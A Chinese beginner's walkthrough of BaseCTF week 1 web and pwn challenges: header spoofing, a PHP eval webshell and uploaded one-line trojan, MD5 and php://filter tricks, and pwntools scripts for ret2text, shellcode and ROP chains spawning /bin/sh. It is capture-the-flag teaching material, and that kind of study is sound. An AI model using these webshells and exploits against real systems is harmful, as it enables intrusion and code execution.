[WEBPWN]BaseCTF week1 题解(新手友好教程版)

news2024/9/20 14:39:34

WEB

A Dark Room

这道题的考点是查看网页源代码
网页源代码这里看到的是网页的html + css + js在用户浏览器上执行的代码
有时候很多铭感信息,或者关键信息。

查看网页源代码的几种方式

1 右键点击查看网页源代码

图片

2 F12

图片

3 Ctrl + U 快捷键

图片

HTTP是什么

HTTP(HyperText Transfer Protocol)即超文本传输协议,是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是万维网(WWW)的数据通信的基础,也是互联网上应用最为广泛的一种网络协议。
简单来说,就是用来访问网站,网页的协议
使用浏览器去访问某个站点,就需要用到http协议

图片

每种参数解释

GET传参

形式: 一般是跟在网页 url 后 有一个 ? 问号后面的内容即为 GET 传参
url: 访问的网站的连接
例如:
http://abc.com/1.php?id=1
这里传递的参数是 id
id的值等于1
url转义,在url中,为了防止一些字符的丢失或是传输不易传输的内容,会将url中的一些内容进行url编码,其形式 如 %20 ,代表空格
例如我想要传递一个参数
str=abc
细心的朋友可以注意到,c后面有一个空格,但是对于浏览器而言,这个空格会被识别为误点击,也就是浏览器认为:用户是不小心点的空格,而不是想发送一个空格。
所以此时,我应该这样传递
str=abc%20
url编码的形式就是
% + 16进制数值
例如 %09 会被识别为 制表符(tab)
这里的16进制数值对应着ASCII码标
0 在ASCII码表中是空字符的意思
如果我想要传输一个空字符
那么就在浏览器中如果键入: %00
这会被解释为 空字符的意思
那么我就想要传入 %00 这三个字符而不是空字符怎么办呢?
那就传入 %2500
%25 经过url编码 解码 之后会变成 %
而被解码的 % 不会被浏览器再次当做编码使用的符号去继续解析
这样就能传入 %00 这三个字符

看看题目

图片

这里只需要在url后面增加:?basectf=we1c%2500me 即可

图片

POST传参

GET传参直接显示在URL中,因此常常被用来标识访问的页面id,以及访问的页数page等等
而POST传参常常用来传输账户名密码等比较敏感的信息。
一般而言,在登录页面的登录框中输入的账户名密码都是使用POST方式传参的
但是在一个没有框框的页面,我们想要传输POST参数,总不能自己写一个登录框上去吧(不是不行),所以最好用到hackbar这样的工具,来帮助我们省略那些繁杂的步骤,我在用的是 firefox 插件中心的 hackbar v2.这个版本是免费的。

图片

Cookie传参

cookie是B/S架构(浏览器/服务器架构)中用来保存用户信息和状态的字符串。
比如当你输入账号密码,成功登录之后,对方服务器怎么知道你已经成功登录了呢?
就是用cookie,当你成功登录之后,服务器会发送给你一个cookie(身份铭牌)
带着这块身份铭牌,目标站点就认识你是谁了
同样的,如果cookie这个身份铭牌被人盗取了,那个人就可以利用你的身份去访问那个站点了。

题目要求我们传入cookie
c00k13=i can’t eat it

图片

User-Agent

用于标识你是使用什么浏览器访问的这个网站,可以被我们伪造

图片

Referer

来源,用于标识我们是从哪个页面跳转来到的这个页面
同样的,也可以被我们伪造

图片

你的IP

这里是对方站点,通过http报文获取到的你的IP
HTTP报文我们可以任意修改,这里的IP当然也可以伪造
这里的IP有很多种伪造方式
一般是XFF和Client-ip
Client-ip: 127.0.0.1

X-Forwarded-For: 127.0.0.1
注意,参数前面(也就是冒号后面)要加一个空格

图片

到了这里我们就了解了一些安全方面有关的参数以及其传参方式了

图片

flag在网络中可以看到经过两次跳转,第一次跳转时get传参中包含了flag

图片

将其base64解码
得到flag

图片

喵喵喵′???`

这里是一个典型的木马代码,

图片

 
  1. highlight_file(__FILE__);

  2. __FILE__ 代表当前页面

  3. highlight_file() 将页面内容展示

  4. 连起来就是将 当前页面内容展示出来

 
  1. $a = $_GET['DT'];

  2. $_GET 是包含所有GET传参的数组

  3. 这句代码的意思是获取GET传参中的DT参数赋值给变量 $a

 
  1. eval($a);

  2. 将变量 $a 的内容作为 php 代码执行

这里连起来的意思就是
会将GET传参中的 DT 参数的内容作为php代码执行
这里我们简单的,传入DT,值为 phpinfo();
phpinfo() -> 展示 php 信息
记得要加分号或者 ?> 作为结束符
因为是将 内容 作为 php 代码执行
如果没有分号会错误的

接下来介绍读取 flag 的过程
system() 将参数作为系统命令执行
ls [path] linux下查看目录下有什么文件,文件夹的命令
如果直接 ls 就是看当前目录
ls 后面跟路径,就是查看指定的路径下有什么内容
cat [filename] 查看文件内容命令

传入参数
?DT=system('ls');
意为: 调用系统命令 ls
可以看到当前目录下的内容

图片

DT=system('ls /');
调用系统命令 ls /
/ 是路径,指的是根目录
根目录就是最顶层的目录

图片

在根目录下发现了 flag 文件

DT=system('cat /flag');
调用系统命令
cat /flag 查看根目录下的flag文件内容
得到flag

图片

md5绕过欸

本题的考点是 php特性 中的 弱类型比较
我们知道
在科学计数法中
1e61 代表 1 乘以 10的61次方

md5() -> 计算数据的md5值并返回
md5 值是一段数据的特征码,极少极少存在数据不一样,但是 md5 值相等的情况
md5值得到的结果是一段16进制字符串

php的等于比较符号
== ===
分为双等于和三等于
双等于只比较数据,不比较类型
3等于要数据,和类型全相等才可以
举一个简单的例子
有如下php代码

 
  1. $a = '1';

  2. $b = 1;

  3. $a == $b; // 为真

  4. $a === $b; // 为假

可以看到,双等于,会把他们看做同样的数据类型比较
只比较值,而不关注类型

16进制中包含以下字符

 
  1. 0123456789abcdef

接下来看题目

图片

题目要求 get传参 name,name2
post传参 password, password2
要求 name 不等于 password 并且 name 的md5值等于 password的md5值
因为是双等于
所以存在弱类型比较的漏洞
这时候我们想到,最开始提到的科学计数法
以及 md5值中是包含 0 和 e的
那么假设存在这么两个值
他们的md5值都是 0e 开头的
如果被当做科学计数法解读
就会被解读为
0 乘以 10的 xxx次方
那么结果仍旧是0
那么在弱类型比较中
就是 0 == 0 的比较 结果为真

那么怎么找呢
我们可以写一个脚本爆破
也可以去网上搜
但是我恰好知道两个
QNKCDZO
240610708
我们传入
name=QNKCDZO
password=240610708
就会得到 name != password
但是
md5(name) == md5(password)
的结果了

再看第二个,第二个要求三等于
不能用上面的弱类型比较的方法了
这时候
我们将 name2 和 以数组的形式传入
name2[]=1 意为将name2的第0个元素设置为1
password[]=2
这时候两个数组不相等肯定是满足的
md5()函数无法处理数组,会返回一个错误值
导致 md5($name2) === md5($password2) 成立
最后绕过,拿到flag
这时候可能想问,为什么第一步不能用数组绕过呢?
答案是可以,但是多学一种方法
有时候会限制传入的内容为数字或字符串,这时候传入数组就不行了。

图片

upload

这里允许我们上传文件,但是并未对文件做出任何限制

图片

既然没有对可上传的文件做出限制
那么我们上传一个木马,是否也可以呢?

随便上传一个文件
看到了 php 代码

图片

说明这是一个php程序
那么我们就需要上传对应的 php 木马
php一句话木马

 
  1. <?php @eval($_REQUEST['cmd']);?>

有没有发现这跟上面一道题有一点相似?
$_REQUEST 包括get传参和post传参两种传参的数组(在某些低版本php中也包括cookie传参)
这段代码解读出来就是 将 get 或 post 传参中的 参数 cmd 作为 php代码执行
新建文本文

图片

写入一句话木马

图片

然后将后缀改为php,文件名改方便点就行
 

图片


上传文件后剩下的步骤就跟 `[Week1] 喵喵喵′???`` 一样了

图片

Aura 酱的礼物

data 协议
Data协议提供了一种通用的数据交换机制,能够适应不同的网络环境和应用需求,确保数据在传输过程中的完整性、准确性和安全性。
说简单一点,就是可以通过它直接发文本,发图片
发送端和接收端都能够对这个协议进行解析,不会造成
所谓“我说我杀人不眨眼,你问我眼睛干不干”的情况
这种情况就是搞错了重点,导致信息接收不一致
接收方没有正确拿到发送方的的信息
而事先约定好都使用data协议就是一个防止发送接收不对应的情况
data协议传输的数据,也可以被当做文件读取

来看第一个条件,要求我们传入一个POST参数,参数会被当做文件去读取
要求文件内容必须等于 Aura

图片

但是我们没办法在目标服务器上增加这么一个文件
不过我们刚刚提到过,data协议传输的数据,是可以被当做文件读取的
接下来就是使用data协议传输一段文本呢绒
pen=data://text/plain,Aura
data://text/plain,Aura
data:// 声明这是data协议
text/plain 声明传输的内容是纯文本
文本内容就是逗号后面的 Aura 了
如下
 

图片


接下来就是第二层
strpos() 函数,这个函数最少需要两个参数(第三个参数可以自行搜索去了解作用)
参数1: 被搜索的字符串
参数2: 搜索的字符串
函数会返回 需要搜索的字符串在 被搜索的字符串中第一次出现的位置
注意,这里是从0开始计数的
举个例子

 
  1. strpos("abcde", "b");

函数执行结果是 1
b是要搜索的字符串
被搜索的字符串 abcde,其中,a是第0位,b是第一位
再举一个例子

 
  1. strpos("can can need flag", "can");

返回结果是 0, 因为从第0位的c开始,就能找到 can
那么如果改成这样呢?

 
  1. strpos("cwn can need flag", "can");

返回结果就是 4
那么如果是

 
  1. strpos("abd", "e");

这样呢
被搜索的字符串不存在
函数返回值就是 false
好了,我们回到题目,这道题
如果 strpos($challenge, 'http://jasmineaura.github.io') !== 0
就会 die
那么就是需要满足
strpos($challenge, 'http://jasmineaura.github.io') == 0
才能绕过这里
也就是让后面的连接,在 chanllenge 第0位开始就存在
我们直接传入

 
  1. challenge = http://jasmineaura.github.io

即可

图片

接下来就是第三步
这里先讲一个概念
当 链接 被当做文件读取时
php程序会访问这个连接,读取这个页面的内容

这里代码是

 
  1. strpos($blog_content, '已经收到Kengwang的礼物啦') === false

如果满足了这个条件,就会 die ,程序会终止
那就是不能满足这个条件
什么情况下

 
  1. strpos($blog_content, '已经收到Kengwang的礼物啦')

这段代码会返回false呢?
刚刚提到过就是被搜索的字符串中不存在要搜索的字符串

这里得到的结论是,访问的链接页面中必须存在
已经收到Kengwang的礼物啦
这个字符串
那怎么办呢?难不成黑入这个博客,在里面写上一句么
有没有什么更简单的方法呢

这时候就要引入一个url中的概念
url中的@符号
@之前的字符会被当做账号登录@之后的url
其具体用法是

 
  1. https://username:password@www.example.com/path

  2. https://username@www.example.com/path

也就是说,如果我在后面添加一个@符号

 
  1. http://jasmineaura.github.io@xxx.com

jasmineaura.github.io这段内容会被当做账号
而真正访问的是 xxx.com 这个域名
现在问题就变得简单了,只要随便找到一个存在
已经收到Kengwang的礼物啦
字符串的链接,就可以了
我们可以自己买一个服务器,然后搭建一个web应用
上面写上这个内容
但是有没有更简单的方法呢?
远在天边,近在眼前
我们现在看到的这个页面,不就存在这个字符串吗

最终的payload就是

 
  1. pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:31170/

图片

图片

好了,现在到了最后一步了

图片

include() 函数,将内容当做 php 代码包含到当前页面
举个例子
假设我有a.php, b.php 两个文件
a.php

 
  1. <?php

  2. echo 1;

  3. include('b.php');

  4. echo 2;

  5. ?>

b.php

 
  1. <?php

  2. echo 345;

那么当我访问 a.php 的时候
实际执行的代码是

 
  1. <?php

  2. echo 1;

  3. ?>

  4. <?php

  5. echo 456;

  6. ?>

  7. <?php

  8. echo 2;

  9. ?>

我们知道,在php程序中,<?php ?> 标签外的内容会被当做 html 代码解析
这里也同样
就是说,包含的 php 文件中 php 标签内的内容会被当做 php 代码执行
php标签外的内容会被当做html代码执行
这里是一样的
像这里 flag 在 flag.php 中
一般情况下这种题型
flag会被设置成 php 变量
直接flag.php文件只是加了一行设置变量的代码
并不会将 flag 变量的内容输出
我们可以先尝试一下

图片

结果如我们所料,没有任何变化

那这时候怎么办呢
就要引入一个新的概念
php伪协议
php有很多伪协议
常见的例如

 
  1. php://filter

  2. php://input

  3. ...

这里我们要用到的就是 php://filter 伪协议
这个协议可以将文件内容读取后进行编码再返回
具体长这样

 
  1. php://filter/convert.base64-encode/resource=flag.php

中间的

 
  1. convert.base64-encode

表示将内容经过base64编码

resource 表示要读取的文件

我们试试将其传入

图片

可以看到,经过base64编码后的flag.php就展现在页面上了

其过程是什么呢

 
  1. include("php://flter/convert.base64-encode/resource=flag.php")

程序的触发是从外到内,解析是从内到外
include()函数,会让里面的php伪协议执行去读取文件
php://flter/convert.base64-encode/resource=flag.php
这里得到的结果就是内容为以下字符串的文件对象

 
  1. PD9waHAgLy8gQmFzZXXXXXXXXXXXXXXXMDQwLTQ0OTAtODMzYS0wMTFiMTA1ZWRhZjh9ICBBdXJhIOmFseacieaLv+WIsOS4gOihgOWQl++8nwo=

最后包含的就是这段base64编码
但是这段编码很显然,不会存在 php 标签,也就被当做 html 代码执行
直接显示在了页面上

对这段内容进行一个base64解码即可得到flag

图片

PWN

签个到吧

NatCat[nc]

这里要用到一个网络测试工具
Netcat,简称 nc
一般而言,我们可以用nc探测网络端口是否开放
或者是直接去访问某台服务器的某个端口
关于windows上nc的安装可以看这篇文章
https://blog.csdn.net/muriyue6/article/details/107127217
linux下的nc安装可以执行如下命令

 
  1. sudo apt-get update

  2. sudo apt-get install netcat

  3. sudo yum install nc

安装并配置好环境变量(或者直接用kali)后
直接连接进去

 
  1. nc [服务器地址] [要连接的端口]

ls 查看当前目录文件
看到有flag文件
直接 cat flag 获得 flag

图片

好,这里解释一下,为什么我直接 nc 连接就可以直接执行命令(获得一个shell)呢?
因为这道题目,将一个获得shell(允许直接执行系统命令)的程序挂载到了这个端口上
我们能够执行系统命令,实际上是这个程序的功能

Ret2text

这里是一个常见的ret2text
ret2text 表示这是一个 有着栈溢出漏洞,并且存在 后门函数(就像上面能够获取shell)的程序
接下来,对栈溢出的原理进行一个简单的讲解

栈溢出原理
定义变量时栈的变化

假设,我们有如下C语言程序

 
  1. int main()

  2. {

  3. int i;

  4. char c;

  5. int j;

  6. j = 1;

  7. i = 2;

  8. c = 'a';

  9. }

那么程序执行过程中栈大致是如何变化的呢?
这里拿一个表格来举例
假设,表格中一个格子占用1个字节

图片


假设一个 int 型数据占4字节(一般是占八字节,这里为了方便理解,定义为4个字节)
一个char对象占一个字节
首先第一行代码定义了一个,i
栈是从高地址往低地址增长,也就是从下往上增长
这时候栈底的四

图片

然后我们又定义了一个 char 类型的变量 c

图片

再定义一个int类型的变量 j

图片

继续下一句代码我们设置 j = 1
实际上也就是把绿色的这段空间的值修改为1
如图

图片

这里要提一嘴,不是按数字位数来的,一个字节(也就是一个格子)的最大值是255
也就是 0xFF.

继续下去,设置i = 2
如图

图片

设置c=’a’

图片

为什么是97呢,因为这里设置字符变量的时候,实际存储的是ASCII码的值

好了,到这里如果大家看着没问题,那我们接着下一步

当main中调用其他函数时,栈的变化

将代码修改为

 
  1. int qwe()

  2. {

  3. char a;

  4. a = 'q';

  5. }

  6. int main()

  7. {

  8. int i;

  9. qwe();

  10. printf("ok");

  11. }

对C语言有过了解的同学们都知道
C语言的入口函数是 main 函数
所以尽管 qwe() 函数 在 main函数上面,仍旧会从main函数开始执行

第一步,定义 int 变量 i

图片

第二步, 调用qwe函数
这时候,调用qwe函数时,代码执行流就会走到 qwe 的位置去执行
那么怎么知道 qwe() 函数执行完之后,去哪里执行代码呢?
这时候就需要记录一下这个位置

图片

把这个地址记录下来,以便执行完qwe函数后,还能找回来
32位程序中,一个地址占4字节(64位程序中占8字节)

(红色部分表示返回地址)

图片


接下来就是进入到qwe函数了
在进入函数的时候,我们需要重新定义栈底,并保存之前的栈底(方便等会能找到原本的栈底)
这里栈底会用ebp(rbp)寄存器保存,旧的栈底会被写到栈上
此时,栈会变成这样
橙色部分为存储的之前栈底的位置
 

图片


然后定义变量a

图片

设置a = ‘q’ (q的ascii码值为113)

图片

之后这个函数的代码执行完毕了
接下来第一步是根据刚刚存储的旧栈底地址恢复栈底

图片

再根据保存的返回地址回到该执行的位置

图片


然后再继续执行printf函数,程序结束

栈溢出时栈的变化

对代码进行一点修改,加一个后门函数和栈溢出漏洞

 
  1. int shell()

  2. {

  3. system('/bin/sh');

  4. }

  5. int qwe()

  6. {

  7. char buf[10];

  8. read(0, buf, 100);

  9. }

  10. int main()

  11. {

  12. int i;

  13. qwe();

  14. printf("ok");

  15. }

system('/bin/sh'); 当执行这句代码后,会返回一个shell
然后说read函数,这个函数是用来读取数据的,跟scanf相似
read(0, buf, 100)
其中,第一个参数是从哪里读取数据,0代表标准输入(也就是屏幕输入)
第二个参数代表读到的数据存放到哪里
第三个参数代表允许写入多少个字节

基于对C语言的了解,我们知道,shell() 函数不在main函数中,所以如果程序正常执行,这个函数是永远不会被执行的。
我们要讲的就是非正常情况了
继续一步一步来
第一句 int i

图片

第二句,调用qwe() 函数
首先,保存返回地址

图片


保存旧的栈底,并定义新栈底

图片


然后 生成char类型长度为 10 的 buf数组

图片

下一句就是我们的 read() ,允许在buf上写入100个字节
也就是从这里开始,可以往后写100个字节

图片

那么如果我们写10个字节,会填满 buf
继续往后呢?
往后四个字节,就能够覆盖(或者说修改)掉保留的旧的栈底
继续往后四个字节呢?
还记得吗,红色的部分是 返回地址,也就是执行完qwe()函数之后,要去执行的代码的位置
那么如果我们把这里修改为 shell() 函数的地址,原本不会被执行的 shell 函数
现在就会被执行了,覆盖掉之后,qwe()函数执行完毕,就会跳转到 shell() 函数帮助我们获得 shell 了

题目讲解

先将题目给的二进制程序拖进 ida 里

判断程序是32位还是64位的方法
 
  1. 1 分别拖进 ida, ida64 按F5,如果拖错了,按F5会提示请使用xx位ida打开

  2. 2 用工具 checksec

按f5将程序反编译后我们看到如下内容

图片

程序中 buf定义时定义了 32 个字节
但是允许读取 0x100(0d256)个字节 0x前缀代表16进制,0d或者无前缀代表10进制
这里很明显存在栈溢出漏洞
并且ida还很贴心的为我们标注了buf距离 rbp(栈底) 的地址

图片


也就是32个字节
这里的栈示意图如下(设一个格子为2字节)
蓝色部分为 buf,
橙色部分为 rbp(栈底位置,保存的数据是旧栈底的数据)
红色部分是返回地址(这里是main函数,返回地址是一个结束程序的系统调用函数的地址)

图片

然后,注意这个函数 dt_gift

图片

这是一个获得shell的函数
那么思路很明确了
只要我们将dt_gift函数地址 覆盖到 返回地址(红色部分)的位置上
就能控制函数的执行流程,获得一个 shell.
接下来就是如何去做的问题了

pwntools安装

最好是在 kali 或者 ubantu 上配置一个 pwn 的做题环境
安装教程可以参考下面的文章
PWN利器-pwntools安装、调试教程一览

代码编写
 
  1. from pwn import * # 导入pwntools模块包

  2. io = process("./pwn") # 我这里把二进制文件改名为 pwn 了,这里是你要调试的二进制文件,返回一个交互对象 io

  3. # io= remote("服务器远程地址", 端口) # 这里是当我们本地调试,经过测试exp能打通之后,去攻击远程程序时要创建的交互对象

  4. elf = ELF('./pwn') # 创建二进制文件对象,对二进制文件进行解析,可以用来获取其中的符号,函数地址等

  5. shell = elf.sym['dt_gift'] # 获取 dt_gift 函数的地址

  6. payload = b'a' * 0x28 + p64(shell)

  7. io.sendline(payload) # 使用交互对象,发送数据给目标程序

  8. io.interactive() # 将交互流从python程序给到用户(我们)上面的payload发送之后能获取shell,这里其实就是获得shell之后,把控制权给我们

p64函数

下面讲解一下p64函数

 
  1. p64() 将 数字 转换为 8字节类型 的字节

  2. p32() 将 数字 转换为 4字节类型 的字节

  3. 同样的还有 p16, p8 等函数

那么,为什么我们要把 地址(一个int类型的数字)转换为字符去发送呢?
这里用read接收,接收时会把输入数据当做字符处理
我们知道,程序接收输入时
输入字符 a
实际写入到内存的内容是 97(a对应的ascii码)
写入98,写入到内存的内容就变成了 57 55 (如果用gdb或者 ida 查看看到的是 39 37 因为内存中一般以16进制表示)
我们需要实际写入到内存的数据是那串数字
如果直接写入那串数字
实际写入的内容是那串数字对应的ascii码
所以要利用 p64或p32 函数,将这串数字(地址)当做ascii码翻译成对应的字节
再发送给程序
程序把字节翻译成ascii码写入,就达到了我们想要的效果。

运行EXP

运行后发现,程序报错了

图片

图片


这是为什么,按照我们刚刚推导的理论
我们应该能够获取一个shell才对
这时候就要引入 栈对齐 的概念了

栈对齐

在内存中,地址一般用16进制来表示
64位ubantu18以上的系统 调用 system 函数时需要栈对齐
具体一点,64位程序中,system函数存在一个 movaps 指令
这个指令要求内存地址必须16字节对齐
64位程序中地址是8字节,因此对于每一个地址而言,其栈地址末尾不是0,就是8
上一个示意图(仍旧假设一个格子两个字节)

左边表示这块内存的地址

图片

也就是调用 system 函数时,存放system函数的地址必须是 0x0 0x10
0x20 0x30 末尾是0的地址
像我们这种情况,就是这时候恰好碰到了,返回地址的末尾是8不是0的情况
那么这时候,只需要在调用system函数前加一条几乎什么都不干的空命令
就能让 system 函数能够对齐了

寻找ret指令地址

其具体做法

1 使用 ROPgadget
 
  1. ROPgadget --binary "./pwn" --only "ret"

图片

2 在ida里找

图片

在exp中添加 ret 指令

对代码进行如下修改
添加上 ret
ida里找的和用 ROPgadget 找的都可以

图片

运行exp

图片


可以看到,我们能够在本地攻破程序获得shell了
接下来把攻击目标换成远程地址

把上面的创建本地交互对象的内容注释掉
取消掉创建远程交互对象的注释
并填写上对应的远程地址和端口

图片

运行exp
成功获取shell

图片

shellcode_level0

shellcode是什么?
 
  1. shellcode

  2. 一段能够获取 shell 的机械码

  3. 就是C语言代码编译成汇编语言,然后再从汇编语言变成机器语言的这个机器语言

shellcraft.sh()

我们可以用 pwntools 中的方法直接生成

 
  1. shellcraft.sh() # 生成一段能够获取shell的汇编代码

  2. asm() # 将汇编代码翻译成机械码

注意 在使用时要使用 context.arch=’amd64’ 指定架构
不然如果默认的架构与程序架构不匹配,是无法使用的

题目解析

用ida打开后我们发现
程序首先定义了 buf 变量
然后用mmap函数设置从buf开始的0x1000个字节的权限为可读可写可执行

mmap函数详解(what?why?how?)

图片

然后向buf中读取0x100个字节
并且将buf的内容当做机器码(机器语言代码)执行
那么这里就很简单了
直接发送一段获取shell的机械码即可获得shell

EXP
 
  1. from pwn import *

  2. io = process('./pwn')

  3. # io = remote()

  4. elf = ELF('./pwn')

  5. context(arch=elf.arch, os=elf.os, log_level='debug') # 可以用这种方式设置 arch(架构) os(操作系统) log_level(模式)

  6. # elf是读取二进制文件的对象,其中的解析结果也包括二进制文件的架构和操作系统类型,可以用这个对象直接读取,也可以像下面这样手动设置

  7. # context(arch='amd64', os='linux')

  8. shellcode = asm(shellcraft.sh())

  9. io.sendline(shellcode)

  10. io.interactive()

 
  1. debug模式: 可以显示出每次目标程序的输出,和我们的输入的详细结果

  2. 包括生成的shellcode的汇编代码详细

图片

运行exp,获得shell

图片

切换到远程服务器运行

图片

成功获得shell,拿到flag

图片

我把她丢了

这道题也属于 ret2text 类型
但是跟 ret2text 的区别在于
system函数和 /bin/sh 不在一起
程序中有 /bin/sh 字符串
也存在 system 函数

对栈溢出原理还不理解的朋友先去看本文对 ret2text 题目的讲解

直接看代码吧
main 函数调用了 vuln函数

图片

vuln函数中存在栈溢出漏洞

图片

看到一个shell函数
但是函数中只是用 system 函数执行了
echo I beleve you 这条命令
这条命令只会输出 I beleve you 这句话
不能获取到shell

图片


首先,先进入到汇编视图

图片


下面两张图其中一张的样子

图片

图片

在ida中搜索/bin/sh字符串(快捷键 ALT+T)

图片

双击第一个

 
  1. 一定是第一个吗?不一定,都看看

图片

得到 /bin/sh 字符串的地址
0x402008

图片

至此,我们就获取到了获得shell的条件

 
  1. system函数地址 直接用elf对象读

  2. /bin/sh\x00 字符串地址

  3. \x00代表结束符,也就是这个字符串仅仅只是 /bin/sh

  4. 而不是 /bin/shabcd 或 /bin/sh123

  5. 如果不太能理解上面两句话

  6. 这里暂时理解为 /bin/sh 字符串地址即可

关于64位程序和32位程序的参数存储位置
64位程序函数参数的存储
 
  1. 这些参数会按照从左到右的顺序被依次存放到 rdi、rsi、rdx、rcx、r8 和 r9 这六个寄存器中。具体来说:

  2. 第一个参数存放到 rdi 寄存器。

  3. 第二个参数存放到 rsi 寄存器。

  4. 第三个参数存放到 rdx 寄存器。

  5. 第四个参数存放到 rcx 寄存器。

  6. 第五个参数存放到 r8 寄存器。

  7. 第六个参数存放到 r9 寄存器。

  8. 如果函数参数的数量超过六个,那么前六个参数仍然按照上述规则存放到相应的寄存器中,而第七个及之后的参数则会依次从右向左推入栈中

32位程序函数参数的存储
 
  1. 参数会依次从右向左推入栈中

我们的程序是64位程序
system函数只需要一个参数,也就是要执行的系统命令
那么我们就需要一段 能够修改 rdi 寄存器内容 的指令并且后面 跟着 ret 指令 的代码段

 
  1. ret指令可以帮助我们回到刚刚运行代码的位置,不然在我们跳转到这个代码段之后,代码走向就回不去了

也就是pop rdi; ret

寻找 pop rdi 指令
方法1 ROPgadget

图片

方法2 ida 汇编视图里找

图片

编写exp

往下滑,下面会对exp中的新东西进行讲解

 
  1. from pwn import *

  2. io = process('./pwn')

  3. # io = remote()

  4. elf = ELF('./pwn')

  5. context(arch=elf.arch, os=elf.os)

  6. ret = 0x000000000040101a

  7. shell = elf.sym['shell']

  8. system = elf.sym['system']

  9. bin_sh = 0x402008

  10. pop_rdi_ret = 0x0000000000401196

  11. payload = flat([cyclic(0x70+8) , pop_rdi_ret , bin_sh ,ret, system])

  12. io.recvuntil("I lost her, what should I do? Help me find her.")

  13. io.sendline(payload)

  14. io.interactive()

函数及payload流程解析
 
  1. flat() 函数

  2. flat([cyclic(0x70+8) , pop_rdi_ret , bin_sh ,ret, system]) 等价于 cyclic(0x70+8) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)

  3. flat() 函数依赖于 context 中 arch 的架构设置

  4. 如果架构是 64 位,就像上面会用 p64 处理地址

  5. 如果架构是 32 位, 就会用 p32 处理

  6. pop rdi: 将栈顶数据弹出,并赋值给 rdi 寄存器

  7. pop_rdi_ret 中的 ret 的作用是回到刚刚代码执行的位置

  8. 由于 pop_rdi 执行时, bin_sh 位于栈顶,因此 /bin/sh 的地址会被赋值给rdi寄存器,

  9. 再往后的一条 ret 指令,是为了栈对齐加在这里的

  10. 当设置好参数后,再调用 system 函数

  11. 执行 system('/bin/sh');

  12. cyclic() 生成指定字节的随机字符 这里换成 b'a' * (0x70 + 8) 或 b'a' * 0x78 都可以

这里就不展示本地运行了
直接攻击远程端口

图片

成功拿到flag

图片

彻底失去她

同样的有栈溢出漏洞

图片


有system函数

图片


不同的是,这里没有了 /bin/sh 字符串

没有了 /bin/sh 怎么办呢?
我们写进去一个就好了
像上一题程序中存在system函数,我们能调用system
同样的,我们也能用 read 函数
利用read函数读取一个
像上一题讲的
前三个参数会被依次放到

 
  1. rdi rsi rdx

这三个寄存器中
所以我们需要一段指令能够pop他们,并且后面跟着ret(能够让我们回到我们的程序执行流)

使用 ROPgadget

 
  1. ROPgadget --binary "./pwn" --only "pop|ret"

图片


利用上面得到的内容

 
  1. read函数

  2. pop rdi;ret

  3. pop rsi;ret

  4. pop rdx;ret

我们可以调用read函数并控制它的参数了
接下来的问题就是,将内容读取到哪里

bss数据段
简介
 
  1. bss数据段是用来存放未初始化的全局变量和静态变量的地方

  2. 未初始化的变量有一个需求,就是在程序运行时初始化并且进行修改

  3. 因此这个数据段一定具有 读 写 两种权限

  4. 将我们的/bin/sh写入到这里是再合适不过了

定位 bss 数据段

在 ida 中 按快捷键 Ctrl + S 调出各个数据端信息
双击 .bss 定位到 bss 数据段

图片

bss数据段中的地址都可以,但是尽量选择结尾是0的

图片

我们这里选取 0x404080 为例(一般来说选起始地址就行)

payload 构造
逻辑流程
 
  1. 这里直接说执行获得shell的代码的流程

  2. 首先构造 rdi, rsi, rdx

  3. 使得 rdi = 0

  4. rsi = bss数据段上的地址

  5. rdx = 8 (100也行,至少是8,因为 /bin/sh\x00 是8个字节)

  6. 需要写入 \x00 作为结束符,以免 /bin/sh 和数据段本来存在的其他数据组合成 /bin/sh123 这样奇奇怪怪的东西

  7. 然后执行 read 函数

  8. 发送字符串 /bin/sh\x00

  9. 然后构造

  10. rdi = bss段上的地址(刚刚写入/bin/sh\x00的地址)

  11. 如果有需要,加一个ret指令使栈对齐

  12. 然后执行system函数

EXP
 
  1. from pwn import *

  2. io = process('./pwn')

  3. # io = remote()

  4. elf = ELF('./pwn')

  5. context(arch=elf.arch, os=elf.os)

  6. pop_rdi = 0x401196

  7. system = elf.sym['system']

  8. ret = 0x0101a

  9. read = elf.sym['read']

  10. bss = 0x404060

  11. pop_rsi = 0x4011AD

  12. pop_rdx = 0x401265

  13. payload = flat([b'a' * (0xa + 8), pop_rsi, bss, pop_rdx, 8, read, pop_rdi, bss, system])

  14. io.sendline(payload) # payload 是注入的代码,当执行到我们注入的 read 的时候,我们输入 /bin/sh\x00 ,然后程序会继续往下执行 pop_rdi, bss, system 这段代码

  15. io.send(b"/bin/sh\x00")

  16. io.interactive()

图片

成功获取到flag

图片

echo

给了一个shell
但是这个系统上只有 echo 命令
这里其实并不算是 pwn
不属于二进制漏洞的范畴
考的属于 linux 奇技淫巧这个方面

echo的功能

我们知道 echo 可以输出指定内容
也可以将内容写入到文件
还可以展示当前目录下的文件

 
  1. echo * // 显示当前目录下内容

  2. echo 123 > 1.txt // 将内容 123 覆盖写入到 1.txt 中

  3. echo 123 >> 123.txt // 将内容 123 追加写入到 1.txt 中

  4. 追加写入会在文件末尾另起一行,将内容追加进去

echo 中 双引号和单引号的区别
 
  1. 双引号里面的内容会被转义

  2. 单引号里的内容被禁止转义

  3. 举例

  4. echo "$123" > 123.txt

  5. 最后写入的结果是 23

  6. 因为$1在Linux系统中有特殊的含义,用双引号包住,会将其解释为其特殊含义

  7. 而不是字符串 $1 本身

  8. echo '$123' > 123.txt

  9. 最后写入的结果是 $123

  10. 虽然$1有特殊含义,但是用单引号包住,它被禁止转义了,只能是它本身

shell脚本

接下来再引入一个概念
shell脚本

 
  1. Shell 脚本是一种为 Unix/Linux 操作系统编写的脚本语言,用于自动化操作系统中的任务。

使用while循环和read命令逐行读取文件
 
  1. #!/bin/bash

  2. while IFS= read -r line

  3. do

  4. echo "$line"

  5. done < filename.txt

脚本是问AI拿到的
那么现在解题思路就很明确了
利用echo编写一个shell脚本
shell脚本的作用是读取flag文件并输出
我们用 nc 连接到服务器
使用 echo * 查看当前目录有什么东西

图片

flag文件的文件名就叫flag
接下来我们对脚本进行一些修改

 
  1. #!/bin/bash

  2. while IFS= read -r line

  3. do

  4. echo "$line"

  5. done < flag

使用 echo 将脚本写入 (注意,除了第一句都用>> 追加写入)

 
  1. echo '#!/bin/bash' > a.sh

  2. echo 'while IFS= read -r line' >> a.sh

  3. echo 'do' >> a.sh

  4. echo 'echo "$line"' >> a.sh

